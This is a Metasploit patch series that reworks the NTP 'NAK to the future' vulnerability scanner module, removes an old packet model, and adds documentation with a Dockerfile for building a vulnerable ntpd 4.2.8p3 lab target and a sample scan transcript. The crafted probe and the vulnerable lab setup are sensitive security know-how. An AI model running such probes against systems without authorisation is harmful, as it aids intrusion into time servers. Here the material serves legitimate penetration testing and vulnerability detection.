From cfb7207a8525618c0a352ddcb2706aaabdaca36f Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 13 Dec 2024 13:36:14 -0500 Subject: [PATCH 1/3] Fix the ntp_nak_to_the_future module --- .../scanner/ntp/ntp_nak_to_the_future.rb | 34 +++++++------------ 1 file changed, 13 insertions(+), 21 deletions(-) diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index ea1d8a016d72..dfd6579ae88c 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -7,7 +7,9 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::Udp - include Msf::Auxiliary::NTP + + SYMMETRIC_ACTIVE_MODE = Rex::Proto::NTP::Constants::Mode::SYMMETRIC_ACTIVE + SYMMETRIC_PASSIVE_MODE = Rex::Proto::NTP::Constants::Mode::SYMMETRIC_PASSIVE def initialize(info = {}) super( @@ -39,26 +41,16 @@ def initialize(info = {}) ] ) ) - - register_options( - [ - OptInt.new('OFFSET', [true, "Offset from local time, in seconds", 300]) - ]) end def build_crypto_nak(time) - probe = Rex::Proto::NTP::NTPSymmetric.new + probe = Rex::Proto::NTP::Header::NTPHeader.new + probe.version_number = 3 probe.stratum = 1 probe.poll = 10 - probe.mode = 1 + probe.mode = SYMMETRIC_ACTIVE_MODE unless time - now = Time.now - # compute the timestamp. NTP stores a timestamp as 64-bit unsigned - # integer, the high 32-bits representing the number of seconds since era - # epoch and the low 32-bits representing the fraction of a second. The era - # epoch in this case is Jan 1 1900, so we must add the number of seconds - # between then and the ruby era epoch, Jan 1 1970, which is 2208988800 - time = ((now.to_i + 2208988800 + datastore['OFFSET']) << 32) + now.nsec + time = Time.now end # TODO: use different values for each? @@ -67,7 +59,7 @@ def build_crypto_nak(time) probe.receive_timestamp = time probe.transmit_timestamp = time # key-id 0 - probe.payload = "\x00\x00\x00\x00" + probe.key_identifier = 0 probe end @@ -75,16 +67,16 @@ def check connect_udp # pick a random 64-bit timestamp - canary_timestamp = rand((2**32)..((2**64) - 1)) + canary_timestamp = Time.now.utc - (60 * 5) probe = build_crypto_nak(canary_timestamp) - udp_sock.put(probe) + udp_sock.put(probe.to_binary_s) - expected_length = probe.to_binary_s.length - probe.payload.length + expected_length = probe.offset_of(probe.key_identifier) response = udp_sock.timed_read(expected_length) disconnect_udp if response.length == expected_length - ntp_symmetric = Rex::Proto::NTP::NTPSymmetric.new.read(response) - if ntp_symmetric.mode == 2 && ntp_symmetric.origin_timestamp == canary_timestamp + ntp_symmetric = Rex::Proto::NTP::Header::NTPHeader.read(response) + if ntp_symmetric.mode == SYMMETRIC_PASSIVE_MODE && ntp_symmetric.origin_timestamp == nil vprint_good("#{rhost}:#{rport} - NTP - VULNERABLE: Accepted a NTP symmetric active association") report_vuln( host: rhost, From a68b9dc8cd9a44cc6fd510dfc8f5e30c5e0fe86d Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 19 Dec 2024 09:45:38 -0500 Subject: [PATCH 2/3] Remove the old NTPSymmetric model It is no longer in use by any modules. It has been superseded by NTPHeader. --- lib/rex/proto/ntp/modes.rb | 19 ------------------- 1 file changed, 19 deletions(-) diff --git a/lib/rex/proto/ntp/modes.rb b/lib/rex/proto/ntp/modes.rb index 8ca93cb3f882..12a8812c9a46 100644 --- a/lib/rex/proto/ntp/modes.rb +++ b/lib/rex/proto/ntp/modes.rb @@ -98,25 +98,6 @@ def records end end - class NTPSymmetric < BinData::Record - alias size num_bytes - endian :big - bit2 :li - bit3 :version, initial_value: 3 - bit3 :mode - uint8 :stratum - uint8 :poll - uint8 :precision - uint32 :root_delay - uint32 :root_dispersion - uint32 :reference_id - uint64 :reference_timestamp - uint64 :origin_timestamp - uint64 :receive_timestamp - uint64 :transmit_timestamp - rest :payload - end - def ntp_control(version, operation, payload = nil) n = NTPControl.new n.version = version From 5385b3de0278642a98675f4631c903bb31148518 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 19 Dec 2024 09:53:31 -0500 Subject: [PATCH 3/3] Add documentation to the module with testing steps --- .../scanner/ntp/ntp_nak_to_the_future.rb.md | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb.md diff --git a/documentation/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb.md b/documentation/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb.md new file mode 100644 index 000000000000..1f7ec7bf7d26 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb.md @@ -0,0 +1,94 @@ +## Vulnerable Application + +## Verification Steps + +1. Use the supplied Dockerfile to start a vulnerable instance of the application + 1. Build it with: `docker build -t ntpd:4.2.8p3 .` + 1. Run it with: `docker run --rm -it --name ntp-server -p 123:123/udp ntpd:4.2.8p3` +1. Start `msfconsole` and use the module +1. Set the `RHOSTS` value as necessary +1. Run the module and see that the target is vulnerable + +### Dockerfile +Use this as `ntp.conf`: +``` +# Basic NTP configuration +server 0.pool.ntp.org iburst +server 1.pool.ntp.org iburst +server 2.pool.ntp.org iburst +server 3.pool.ntp.org iburst + +driftfile /var/lib/ntp/ntp.drift + +# Enable authentication for secure associations +enable auth + +# Define trusted keys +trustedkey 1 + +# Open restrictions for all clients on the local network (example: 192.168.0.0/16) +restrict default kod nomodify notrap +restrict 127.0.0.1 +restrict ::1 +restrict 192.168.0.0 mask 255.255.0.0 autokey + +# Uncomment to allow all clients (use cautiously) +# restrict default kod nomodify notrap +``` + +Use this as `Dockerfile`: +``` +ARG version=4.2.8p3 +FROM ubuntu:16.04 +ARG version + +# Install dependencies +RUN apt-get update && apt-get install -y \ + wget \ + build-essential \ + libcap-dev \ + libssl-dev && \ + apt-get clean + +# Download and build NTPD +WORKDIR /tmp +RUN wget https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-$version.tar.gz && \ + tar -xzf ntp-$version.tar.gz && \ + cd ntp-$version && \ + ./configure --prefix=/usr/local --enable-linuxcaps && \ + make && \ + make install && \ + cd .. && \ + rm -rf ntp-$version* + +# Add configuration file +COPY ntp.conf /etc/ntp.conf + +# Expose NTP port (123) +EXPOSE 123/udp + +# Run ntpd +ENTRYPOINT ["/usr/local/bin/ntpd"] +CMD ["-g", "-d", "-d"] +``` + +## Options + +## Scenarios + +### Ubuntu 16.04 NTPd 4.2.8p3 + +``` +metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > set RHOSTS 192.168.159.128, 192.168.159.10 +RHOSTS => 192.168.159.128, 192.168.159.10 +metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > run +[+] 192.168.159.128:123 - NTP - VULNERABLE: Accepted a NTP symmetric active association +[*] Scanned 1 of 2 hosts (50% complete) +[*] Scanned 1 of 2 hosts (50% complete) +[*] Scanned 1 of 2 hosts (50% complete) +[*] Scanned 1 of 2 hosts (50% complete) +[*] Scanned 1 of 2 hosts (50% complete) +[*] Scanned 2 of 2 hosts (100% complete) +[*] Auxiliary module execution completed +metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > +```